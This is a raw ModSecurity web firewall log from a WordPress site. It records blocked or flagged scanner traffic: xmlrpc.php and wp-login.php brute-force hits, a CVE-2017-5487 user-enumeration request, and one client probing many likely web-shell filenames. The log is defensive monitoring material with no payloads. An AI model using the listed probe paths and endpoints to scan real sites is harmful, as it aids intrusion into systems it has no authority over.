[Tue Jan 06 15:37:34.699679 2026] [:error] [pid 44903:tid 44930] [client 167.99.128.60:34012] [client 167.99.128.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.128.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVy7vthHqjs38zbkQPDP_gAAABY"]
[Tue Jan 06 15:48:25.869053 2026] [:error] [pid 45012:tid 45015] [client 92.205.61.200:38196] [client 92.205.61.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.61.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVy-SRaMAxCuju1d0uakYwAAAME"]
[Tue Jan 06 16:07:32.510897 2026] [:error] [pid 44903:tid 44913] [client 157.15.203.2:43708] [client 157.15.203.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.15.203.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzCxNhHqjs38zbkQPDV7QAAAAY"]
[Tue Jan 06 16:28:36.687798 2026] [:error] [pid 44904:tid 44958] [client 158.174.147.42:36092] [client 158.174.147.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.174.147.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzHtDtieuI1BJEZcvf3ZAAAAFE"]
[Tue Jan 06 16:28:40.759957 2026] [:error] [pid 45012:tid 45038] [client 158.174.147.42:36100] [client 158.174.147.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.174.147.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzHuBaMAxCuju1d0uauyQAAANg"]
[Tue Jan 06 16:28:43.805131 2026] [:error] [pid 35140:tid 35161] [client 158.174.147.42:36110] [client 158.174.147.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.174.147.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzHu3oQaIDFMbT-XMyWFgAAARM"]
[Tue Jan 06 16:28:50.935340 2026] [:error] [pid 45012:tid 45037] [client 54.36.142.130:46926] [client 54.36.142.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.142.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzHwhaMAxCuju1d0uauzQAAANc"]
[Tue Jan 06 16:28:53.370732 2026] [:error] [pid 44905:tid 44976] [client 54.36.142.130:58236] [client 54.36.142.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.142.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzHxbu7ufwWVst9EAudtwAAAIg"]
[Tue Jan 06 16:28:55.906973 2026] [:error] [pid 45959:tid 45967] [client 54.36.142.130:58250] [client 54.36.142.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.142.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzHx1ajdn8P3hjgMYx0OQAAAUU"]
[Tue Jan 06 17:38:40.916400 2026] [:error] [pid 45012:tid 45014] [client 185.234.69.206:46776] [client 185.234.69.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.234.69.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVzYIBaMAxCuju1d0ua_LgAAAMA"]
[Tue Jan 06 17:40:22.832482 2026] [:error] [pid 45012:tid 45016] [client 49.51.38.193:51540] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVzYhhaMAxCuju1d0ua_jAAAAMI"]
[Tue Jan 06 20:06:31.841489 2026] [:error] [pid 45959:tid 45970] [client 114.96.103.33:47376] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVz6x1ajdn8P3hjgMYzESgAAAUg"]
[Tue Jan 06 20:45:03.972311 2026] [:error] [pid 44905:tid 44991] [client 15.235.163.237:36406] [client 15.235.163.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0Dz7u7ufwWVst9EAvergAAAJc"]
[Tue Jan 06 20:45:06.313506 2026] [:error] [pid 45959:tid 45983] [client 15.235.163.237:34624] [client 15.235.163.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0D0lajdn8P3hjgMYzUfgAAAVU"]
[Tue Jan 06 20:45:08.269254 2026] [:error] [pid 44903:tid 44916] [client 15.235.163.237:34630] [client 15.235.163.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0D1NhHqjs38zbkQPAVtgAAAAk"]
[Tue Jan 06 20:47:16.716258 2026] [:error] [pid 45012:tid 45017] [client 188.166.213.184:48914] [client 188.166.213.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.213.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0EVBaMAxCuju1d0ub7YwAAAMM"]
[Tue Jan 06 20:47:19.087124 2026] [:error] [pid 35140:tid 35154] [client 188.166.213.184:48926] [client 188.166.213.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.213.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0EV3oQaIDFMbT-XMzOpQAAAQw"]
[Tue Jan 06 20:47:20.988476 2026] [:error] [pid 45012:tid 45038] [client 188.166.213.184:48936] [client 188.166.213.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.213.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0EWBaMAxCuju1d0ub7bgAAANg"]
[Tue Jan 06 21:12:32.193245 2026] [:error] [pid 44903:tid 44921] [client 134.19.179.163:59636] [client 134.19.179.163] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aV0KQNhHqjs38zbkQPAdHwAAAA4"], referer: https://www.google.com
[Tue Jan 06 22:42:51.557785 2026] [:error] [pid 45959:tid 45967] [client 91.188.244.9:49199] [client 91.188.244.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.188.244.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aV0fa1ajdn8P3hjgMYwLegAAAUU"], referer: https://gigfragments.org/
[Tue Jan 06 22:42:53.779620 2026] [:error] [pid 45959:tid 45980] [client 91.188.244.9:60045] [client 91.188.244.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.188.244.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aV0fbVajdn8P3hjgMYwLgQAAAVI"], referer: https://gigfragments.org/wp-login.php?action=register
[Tue Jan 06 22:42:55.989479 2026] [:error] [pid 45959:tid 45974] [client 4.196.115.91:18091] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aV0fb1ajdn8P3hjgMYwLhAAAAUw"]
[Tue Jan 06 22:43:00.438597 2026] [:error] [pid 35140:tid 35155] [client 4.196.115.91:14791] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aV0fdHoQaIDFMbT-XMzuRgAAAQ0"]
[Tue Jan 06 22:43:01.279795 2026] [:error] [pid 45012:tid 45016] [client 4.196.115.91:14826] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aV0fdRaMAxCuju1d0uYiEQAAAMI"]
[Tue Jan 06 22:43:02.508775 2026] [:error] [pid 45012:tid 45027] [client 4.196.115.91:14792] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aV0fdhaMAxCuju1d0uYiFAAAAM0"]
[Tue Jan 06 22:43:02.747233 2026] [:error] [pid 35140:tid 35143] [client 4.196.115.91:14126] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tyasd.php"] [unique_id "aV0fdnoQaIDFMbT-XMzuSgAAAQE"]
[Tue Jan 06 22:43:04.486420 2026] [:error] [pid 44905:tid 44986] [client 4.196.115.91:16158] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tyasd.php"] [unique_id "aV0feLu7ufwWVst9EAsD9gAAAJI"]
[Tue Jan 06 22:43:05.030592 2026] [:error] [pid 45959:tid 45980] [client 4.196.115.91:1678] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tyasd.php"] [unique_id "aV0feVajdn8P3hjgMYwLlAAAAVI"]
[Tue Jan 06 22:43:07.493135 2026] [:error] [pid 44903:tid 44910] [client 4.196.115.91:16201] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tyasd.php"] [unique_id "aV0fe9hHqjs38zbkQPA00AAAAAM"]
[Tue Jan 06 22:43:08.377643 2026] [:error] [pid 44905:tid 44980] [client 4.196.115.91:9655] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz10.php"] [unique_id "aV0ffLu7ufwWVst9EAsEGgAAAIw"]
[Tue Jan 06 22:43:08.741245 2026] [:error] [pid 44905:tid 44971] [client 4.196.115.91:1697] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz10.php"] [unique_id "aV0ffLu7ufwWVst9EAsEGwAAAIM"]
[Tue Jan 06 22:43:09.518898 2026] [:error] [pid 45012:tid 45038] [client 4.196.115.91:18707] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz10.php"] [unique_id "aV0ffRaMAxCuju1d0uYiGAAAANg"]
[Tue Jan 06 22:43:11.425101 2026] [:error] [pid 44904:tid 44951] [client 4.196.115.91:14129] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz10.php"] [unique_id "aV0ffztieuI1BJEZcvdQJwAAAEo"]
[Tue Jan 06 22:43:13.799126 2026] [:error] [pid 45012:tid 45030] [client 4.196.115.91:18592] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aV0fgRaMAxCuju1d0uYiGwAAANA"]
[Tue Jan 06 22:43:14.748117 2026] [:error] [pid 45959:tid 45985] [client 4.196.115.91:17675] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aV0fglajdn8P3hjgMYwLugAAAVc"]
[Tue Jan 06 22:43:17.485276 2026] [:error] [pid 44903:tid 44923] [client 4.196.115.91:18732] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aV0fhdhHqjs38zbkQPA04QAAABA"]
[Tue Jan 06 22:43:19.253291 2026] [:error] [pid 44903:tid 44927] [client 4.196.115.91:11299] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aV0fh9hHqjs38zbkQPA04gAAABQ"]
[Tue Jan 06 22:43:19.638883 2026] [:error] [pid 35140:tid 35157] [client 4.196.115.91:16637] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1n.php"] [unique_id "aV0fh3oQaIDFMbT-XMzuZwAAAQ8"]
[Tue Jan 06 22:43:22.841653 2026] [:error] [pid 44905:tid 44991] [client 4.196.115.91:10321] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1n.php"] [unique_id "aV0firu7ufwWVst9EAsELgAAAJc"]
[Tue Jan 06 22:43:25.438673 2026] [:error] [pid 45959:tid 45968] [client 4.196.115.91:14682] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1n.php"] [unique_id "aV0fjVajdn8P3hjgMYwL0gAAAUY"]
[Tue Jan 06 22:43:26.843606 2026] [:error] [pid 45959:tid 45967] [client 4.196.115.91:14661] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1n.php"] [unique_id "aV0fjlajdn8P3hjgMYwL1QAAAUU"]
[Tue Jan 06 22:43:28.123130 2026] [:error] [pid 45959:tid 45980] [client 4.196.115.91:18723] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jnuqm.php"] [unique_id "aV0fkFajdn8P3hjgMYwL2QAAAVI"]
[Tue Jan 06 22:43:30.526450 2026] [:error] [pid 45959:tid 45984] [client 4.196.115.91:11271] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jnuqm.php"] [unique_id "aV0fklajdn8P3hjgMYwL3wAAAVY"]
[Tue Jan 06 22:43:32.579987 2026] [:error] [pid 44905:tid 44972] [client 4.196.115.91:18683] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jnuqm.php"] [unique_id "aV0flLu7ufwWVst9EAsEOgAAAIQ"]
[Tue Jan 06 22:43:35.563373 2026] [:error] [pid 44903:tid 44913] [client 4.196.115.91:18038] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jnuqm.php"] [unique_id "aV0fl9hHqjs38zbkQPA08QAAAAY"]
[Tue Jan 06 22:43:36.998411 2026] [:error] [pid 35140:tid 35153] [client 4.196.115.91:9517] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aV0fmHoQaIDFMbT-XMzudwAAAQs"]
[Tue Jan 06 22:43:40.432756 2026] [:error] [pid 45012:tid 45023] [client 4.196.115.91:12705] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aV0fnBaMAxCuju1d0uYiOAAAAMk"]
[Tue Jan 06 22:43:41.502612 2026] [:error] [pid 35140:tid 35159] [client 4.196.115.91:14766] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aV0fnXoQaIDFMbT-XMzufgAAARE"]
[Tue Jan 06 22:43:42.305357 2026] [:error] [pid 45959:tid 45965] [client 4.196.115.91:11811] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aV0fnlajdn8P3hjgMYwL5QAAAUM"]
[Tue Jan 06 22:43:44.362669 2026] [:error] [pid 35140:tid 35143] [client 4.196.115.91:11809] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggfi.php"] [unique_id "aV0foHoQaIDFMbT-XMzuhQAAAQE"]
[Tue Jan 06 22:43:45.722813 2026] [:error] [pid 44903:tid 44933] [client 4.196.115.91:13739] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggfi.php"] [unique_id "aV0fodhHqjs38zbkQPA0-AAAABg"]
[Tue Jan 06 22:43:46.963849 2026] [:error] [pid 45959:tid 45986] [client 4.196.115.91:11911] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggfi.php"] [unique_id "aV0folajdn8P3hjgMYwL5wAAAVg"]
[Tue Jan 06 22:43:47.621842 2026] [:error] [pid 45959:tid 45967] [client 4.196.115.91:1977] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggfi.php"] [unique_id "aV0fo1ajdn8P3hjgMYwL6gAAAUU"]
[Tue Jan 06 22:43:48.212104 2026] [:error] [pid 35140:tid 35156] [client 4.196.115.91:9361] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "aV0fpHoQaIDFMbT-XMzujAAAAQ4"]
[Tue Jan 06 22:43:48.839726 2026] [:error] [pid 44904:tid 44964] [client 4.196.115.91:9983] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "aV0fpDtieuI1BJEZcvdQQQAAAFc"]
[Tue Jan 06 22:43:49.406346 2026] [:error] [pid 44904:tid 44949] [client 4.196.115.91:10002] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "aV0fpTtieuI1BJEZcvdQQwAAAEg"]
